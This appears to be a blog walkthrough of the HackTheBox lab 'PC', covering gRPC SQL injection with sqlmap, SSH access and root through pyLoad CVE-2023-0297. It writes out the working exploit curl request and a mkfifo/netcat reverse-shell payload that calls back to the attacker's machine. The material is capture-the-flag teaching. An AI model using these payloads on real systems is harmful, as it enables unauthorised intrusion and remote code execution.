Post

PC (HTB-Easy)

Box Release Date: May 20, 2023

Machine Summary

PC is an easy-level linux machine on HackTheBox that has a gRPC vulnerability that allows for injection into a SQLite database on the box. Privilege escalation to root was done by exploiting a vulnerable version of Pyload that allowed for unauthenticated users to remotely execute code.

Reconnaissance

To start off the box I will first get the IP of the machine and put it in my /etc/hosts file. Next I will do a port scan using Rustscan to look for open TCP ports. You can use nmap but I find that Rustscan gets the results much faster. I run Rustscan from docker container, if you want to do it this way too just go to DockerHub and pull the most recent image of Rustscan to your local machine. Then add the following line to your user’s ~/.bashrc file so that you can make running it from the CLI much easier:

1
alias rustscan='sudo docker run -it --rm --name rustscan rustscan/rustscan:latest'

Then source the file after you have added the command alias to make the changes to the .bashrc file persist. Check this link out if you want to see how to use Rustscan.

Running rustscan -a 10.10.11.214 -b 500 -t 500 returned the following for this box:

1
2
3
4
5
6
7
8
9
10
11
Open 10.10.11.214:22
Open 10.10.11.214:50051
[~] Starting Script(s)
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-22 23:49 UTC
Initiating Ping Scan at 23:49
Scanning 10.10.11.214 [2 ports]
Completed Ping Scan at 23:49, 3.00s elapsed (1 total hosts)
Nmap scan report for 10.10.11.214 [host down, received no-response]
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds

We have two open ports, the most interesting obviously being 50051 since that is a high ephemeral port. Usually I would run a couple other nmap scans to see what other information I could find but a quick Google search revealed that port 50051 is used by Google’s Remote Procedure Call (definitely the intended target here).

Google RPC

Attempting to visit 10.10.11.214:50051 through a web browser returns nothing, so our best bet is to find either a CLI or GUI tool to interact with the gRPC service. When I was interacting with the service, I first did it through the CLI tool but was having some issues formatting the request headers despite them being set exactly how they were supposed to be via Google’s documentation. I highly recommend using the GUI tool to preserve your sanity which you can download from here. I recommend installing it using GO’s native package manager. How to install GO.

Now that we have the GUI setup and ready to go, run this command to get connected to the remote gRPC port:

1
/path_to_binary/grpcui -plaintext 10.10.11.214:50051

Running this should get you the following:

gRPC-ui

There is only a single service running on this port called SimpleApp. This app has three possible methods that you can use: LoginUser, RegisterUser, getInfo. Let’s first call the getInfo method. Plugging in an ID of 1 and a Timeout of 1 returns:

1
{"message": "Authorization Error.Missing 'token' header"}

This means we need a token of some sort, probably a Java Web Token. Let’s see if we can register a new user. Turns out we can! All we have to do is provide a username and password of a length greater than 4. Now lets login with our new user. Turns out we can! We also get a JWT back along with a userID.

register-user

login-user-get-jwt

Now let’s see if we can use our new JWT to call the getInfo method. To do this we need to put our JWT token in the header field as follows (only put the portion within the single quotes). I tried using the ID that I was given when I originially logged in but that did not return anything interesting. Using an ID of 1 returned the following, which made me to think that the ID parameter is not completely configured properly.

using-jwt-on-getinfo

Doing this returns the following message:

1
{ "message": "The admin is working hard to fix the issues."}

Nothing of interest here, at this point our best bet is going to be to intercept the request with Burp Suite and see what sort of response we get to manipulating different parts of the request field. I am going to assume that the ID parameter is probably what is vulnerable, so let’s test for potential injection vulnerabilities.

SQL Injection (shell as Sau)

When using the getInfo method, it is possible to inject SQL queries into the vulnerable ID parameter. There are several different ways you can do this but in this case I used sqlmap. I saved the captured POST request of the getInfo method, it is the request sent in the most previous screenshot. sqlmap is a very complex tool, the first command I always running when testing a parameter for injection vulnerabilities is the following:

1
sqlmap -r 'path_to_request_file'

It is a super quick and simple one, in most cases you will need much more information to find potential injection vulnerabilities; luckily enough for us, we do not need a more complex command, this one will get us exactly what we want.

Running this command will get you the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[*] starting @ 20:57:47 /2023-06-20/

[20:57:47] [INFO] parsing HTTP request from 'request-burp'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
Cookie parameter '_grpcui_csrf_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] 
[20:57:58] [INFO] resuming back-end DBMS 'sqlite' 
[20:57:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"timeout_seconds":1,"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiY2FtcGJlbGwiLCJleHAiOjE2ODYwNzc5NjN9.hj-Ue198m9riGI8JkHkNXpeviMc2WG2dWDlMvY9p5Es"}],"data":[{"id":"1 AND 9601=9601"}]}

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: {"timeout_seconds":1,"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiY2FtcGJlbGwiLCJleHAiOjE2ODYwNzc5NjN9.hj-Ue198m9riGI8JkHkNXpeviMc2WG2dWDlMvY9p5Es"}],"data":[{"id":"-9757 UNION ALL SELECT CHAR(113,113,106,118,113)||CHAR(74,108,100,86,88,72,90,88,110,74,79,75,109,90,121,120,107,104,99,118,114,83,80,108,82,101,101,73,105,67,74,104,87,112,121,86,100,86,114,80)||CHAR(113,120,107,98,113)-- BDOq"}]}
---
[20:57:58] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[20:57:58] [INFO] fetched data logged to text files under '/home/campbell/.local/share/sqlmap/output/127.0.0.1'
[20:57:58] [WARNING] your sqlmap version is outdated

[*] ending @ 20:57:58 /2023-06-20/

My hunch was correct, the ID parameter is vulnerable to time-based SQL injection. Lets do a simple dump of all the SQLite contents and see what we get and then go from there.

1
sqlmap -r 'path_to_request_file' –dump

Yay, this returns credentials for a user in the SQLite_masterdb database. No extra data parsing needs to be done.

1
2
3
4
5
6
+------------------------+----------------------------+
| password                            | username |
+------------------------+----------------------------+
| admin                               | admin |
| <redacted>                          | sau |
+------------------------+----------------------------+

Luckily enough for us, Sau’s password actually allows us to ssh into the box as him:

1
sshpass -p 'redacted' ssh sau@pc.htb

We now can grab the user flag!

1
2
sau@pc:~$ cat user.txt 
teehee_do_it_yourself <<(^^,)>>

Privilege Escalation To Root

As usual lets upload linpeas to see what we find on the box. Now that we have user access, we can either use scp or start an http server on our host to upload the priv-esc script. After uploading and executing linpeas I saw something running on port 8000 locally:

1
2
3
4
5
6
7
8
9
10
sau@pc:~$ netstat -avntop
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name     Timer
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                    off (0.00/0/0)
tcp        0      396 10.10.11.214:22       my-ip                   ESTABLISHED -                    on  (0.07/0/0)

On port 8000 on the remote machine, there is a service that is only listening on the localhost. Lets port forward that back to our machine by running the following command:

1
sshpass -p 'redacted' ssh -L 8000:127.0.0.1:8000 sau@pc.htb

Running a curl command on localhost:8000 verifies that this services is utilizing HTTP, so now lets visit this address in a web browser. We are then directed to a login page for pyLoad.

pyload

A quick google search for pyLoad vulnerabilities returned a pretty serious pre-auth RCE vulnerability that was reported early 2023: CVE-2023-0297.

After going through a run down of the exploit, it looks like we can inject code into the js2py.eval_js() function. To exploit this we are going to want to make a POST request to our localhost on port 8000 and the request will be tunneled back over to our target machine since the ssh command we ran earlier with the -L option was specified.

The exploit curl command is as follows:

1
2
3
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://localhost:8000/flash/addcrypted2'

Inside of the os.system variable we are going to replace the touch command with a reverse shell. The command I used was:

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ‘addr_of _your_machine’ ‘specified_port’ >/tmp/f

Next we are going to want to url-encode this so that we won’t get any errors when we make the request. To do this you could slap your command into Chat-GPT or BurpSuite but here is a really useful one-liner that I used to do it:

1
echo -n "command_here" | php -r 'echo urlencode(fgets(STDIN)

Now use the url-encoded command in the POST request, it should look similar to this (Remember to change the specified IP/Port and start a Netcat listener before running this):

1
2
3
curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"rm+%2Ftmp%2Ff%3Bmkfifo+%2Ftmp%2Ff%3Bcat+%2Ftmp%2Ff%7C%2Fbin%2Fsh+-i+2%3E%261%7Cnc+YOUR_IP_HERE+YOUR_PORT_HERE+%3E%2Ftmp%2Ff\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://localhost:8000/flash/addcrypted2'

After running this command you should have received a connection on your listener, establishing a reverse shell as root!

1
2
3
4
5
6
7
8
h0ax@h0ax:~$ nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 10.10.11.214 34572
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
nevah_gunna_give_u_uppp ;)

Happy hacking everyone! <3

This post is licensed under CC BY 4.0 by the author.